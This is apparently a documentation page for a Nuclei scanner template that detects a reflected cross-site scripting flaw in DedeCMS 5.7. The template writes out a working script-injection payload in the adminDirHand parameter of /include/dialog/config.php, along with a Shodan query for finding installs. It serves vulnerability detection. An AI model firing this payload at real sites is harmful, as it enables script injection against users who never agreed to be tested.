Skip to content

DedeCMS 5.7 - Cross-Site Scripting

ID: dedecms-config-xss

Severity: high

Author: ritikchaddha

Tags: dedecms,xss

DeDeCMS 5.7 contains a cross-site scripting vulnerability in the ‘/include/dialog/config.php’ file. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site.

id: dedecms-config-xss
info:
name: DedeCMS 5.7 - Cross-Site Scripting
author: ritikchaddha
severity: high
description: |
DeDeCMS 5.7 contains a cross-site scripting vulnerability in the '/include/dialog/config.php' file. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site.
reference:
- https://www.zilyun.com/8665.html
- https://www.60ru.com/161.html
- https://www.cnblogs.com/milantgh/p/3615853.html
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
cpe: cpe:2.3:a:dedecms:dedecms:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
shodan-query: http.html:"DedeCms"
product: dedecms
vendor: dedecms
tags: dedecms,xss
http:
- method: GET
path:
- "{{BaseURL}}/include/dialog/config.php?adminDirHand=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "location='../../</script><script>alert(document.domain)</script>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a0047304502210086d69ecd217733edb84b47400cc707395a83756f8e0f53ac06922ab20f14e7ca022036c8d82e0cbf57ec35b149ae7530cca275fe6bac6fa13444babd9977a29f9a3f:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/dedecms/dedecms-config-xss.yaml"

View on Github